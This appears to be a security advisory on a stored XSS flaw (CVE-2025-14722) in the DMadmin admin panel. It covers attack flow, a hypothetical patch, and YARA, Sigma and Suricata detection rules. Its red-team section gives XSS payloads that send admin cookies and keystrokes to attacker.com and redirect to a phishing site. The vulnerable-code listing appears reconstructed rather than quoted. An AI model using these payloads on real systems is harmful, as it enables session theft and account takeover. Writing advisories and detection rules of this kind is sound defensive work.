CVE-2025-14722

Executive Summary

CVE-2025-14722 is a publicly disclosed, unauthenticated stored cross-site scripting (XSS) vulnerability in the vion707 DMadmin application, specifically within the Admin/Controller/AddonsController.class.php file. The flaw allows an attacker to inject arbitrary JavaScript into the backend interface via the Add function. Because the application uses a rolling release model, no specific version number is available; the vulnerable commit is 3403cafdb42537a648c30bf8cbc8148ec60437d1. The vendor has not responded to disclosure attempts, leaving the product in an unpatched state. The CVSS score is 2.4 (Low), but the public availability of a proof-of-concept (PoC) and the lack of a patch elevate the real-world risk for any organization using this software.

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby). It is a custom PHP application. However, if DMadmin is distributed via a private repository or container image, the supply chain risk includes:

• No signed releases – Rolling release model makes it impossible to verify integrity.
• No official patch – Any fix must be developed internally or sourced from community forks.
• Dependency risk – The application may rely on outdated PHP libraries that are themselves vulnerable.

CVSS Breakdown & Threat Level

Threat Level: Medium (despite low CVSS). The public PoC and unpatched status mean that any exposed DMadmin instance is at risk. An attacker can steal admin session cookies, deface the admin panel, or perform actions on behalf of the admin.

Deep Dive & Mechanics

The vulnerability resides in the Add function of Admin/Controller/AddonsController.class.php. This function is responsible for adding new add-ons (plugins/extensions) to the DMadmin backend. The input parameters (likely name, description, url, etc.) are not sanitized or escaped before being stored in the database and later rendered in the admin interface.

Attack Flow:

1. Attacker sends a POST request to the backend endpoint (e.g., /Admin/Addons/add) with a payload like:

   name=<script>alert('XSS')</script>
   

2. The application stores this malicious input in the database without sanitization.
3. When an administrator views the add-ons list, the stored script executes in their browser.
4. The attacker can now steal cookies, redirect to phishing pages, or perform actions as the admin.

Why it matters: Even though the CVSS is low, the attack is trivial to execute and requires no authentication. If the admin session is hijacked, the attacker gains full control over the DMadmin instance.

Vulnerable vs. Patched Code

Vulnerable Code (commit 3403cafdb42537a648c30bf8cbc8148ec60437d1):

// Admin/Controller/AddonsController.class.php
public function Add() {
    $name = $_POST['name'];
    $description = $_POST['description'];
    // ... insert into database without sanitization
    $this->db->query("INSERT INTO addons (name, description) VALUES ('$name', '$description')");
}

Patched Code (hypothetical):

public function Add() {
    $name = htmlspecialchars($_POST['name'], ENT_QUOTES, 'UTF-8');
    $description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8');
    // Use prepared statements to prevent SQL injection as well
    $stmt = $this->db->prepare("INSERT INTO addons (name, description) VALUES (?, ?)");
    $stmt->bind_param("ss", $name, $description);
    $stmt->execute();
}

Key Differences:

• Input is sanitized with htmlspecialchars() to neutralize HTML/JavaScript.
• Prepared statements prevent SQL injection (a secondary risk).
• Output encoding is applied before storage (defense in depth).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of DMadmin (commit 3403cafdb42537a648c30bf8cbc8148ec60437d1 or earlier).
• Network access to the admin panel (e.g., http://target/admin).

Step-by-Step Exploit:

1. Identify the endpoint: The vulnerable endpoint is /Admin/Addons/add (or similar).
2. Craft the payload:

   POST /Admin/Addons/add HTTP/1.1
   Host: target.com
   Content-Type: application/x-www-form-urlencoded
   
   name=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>&description=test
   

3. Trigger the stored XSS: An admin must visit the add-ons list page (e.g., /Admin/Addons/index). The script executes and sends the cookie to the attacker's server.
4. Session hijacking: Use the stolen cookie to impersonate the admin.

Alternative Payloads:

• Keylogger: <script>document.onkeypress=function(e){fetch('https://attacker.com/k?k='+e.key)}</script>
• Phishing: <script>window.location='https://phishing-site.com'</script>

Blue Team (Detection & Hardening)

Detection:

• Monitor HTTP POST requests to /Admin/Addons/add containing <script> or onerror= patterns.
• Alert on unusual outbound connections from the DMadmin server (e.g., to unknown domains).
• Review server logs for alert( or document.cookie in request bodies.

Hardening:

• Immediate: Disable the add-ons functionality if not needed.
• Code fix: Apply the patched code shown above (input sanitization + prepared statements).
• WAF rule: Block requests containing <script in POST parameters to /Admin/Addons/add.
• CSP: Add a Content Security Policy header that restricts script execution (e.g., script-src 'self').

Indicators of Compromise (IOCs)

Detection Engineering

YARA Rule

rule CVE_2025_14722_DMadmin_XSS {
    meta:
        description = "Detects stored XSS payloads targeting DMadmin AddonsController"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14722"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/i
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/i
        $payload3 = /onload\s*=\s*["']?[^"']*["']?/i
        $endpoint = /Admin\/Addons\/add/i
    condition:
        any of ($payload*) and $endpoint
}

Sigma Rule

title: CVE-2025-14722 DMadmin Stored XSS Attempt
id: 8a2b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects HTTP POST requests to DMadmin AddonsController with XSS payloads
author: Valters IT
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/Admin/Addons/add'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in add-on names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14722 DMadmin Stored XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/Admin/Addons/add"; http.request_body; content:"<script"; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the add-ons feature – If not critical, remove or comment out the Add function.
2. Apply input sanitization – Use htmlspecialchars() on all user inputs before database insertion.
3. Use prepared statements – Prevent SQL injection as a secondary risk.
4. Implement a WAF – Block requests containing <script in POST parameters to the vulnerable endpoint.

Long-Term Fix:

• Since the vendor is unresponsive, consider forking the repository and applying the patch yourself.
• Migrate to a supported alternative if DMadmin is not maintained.

Detection:

• Deploy the YARA, Sigma, and Suricata rules above.
• Monitor for outbound connections from the DMadmin server to unknown IPs.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst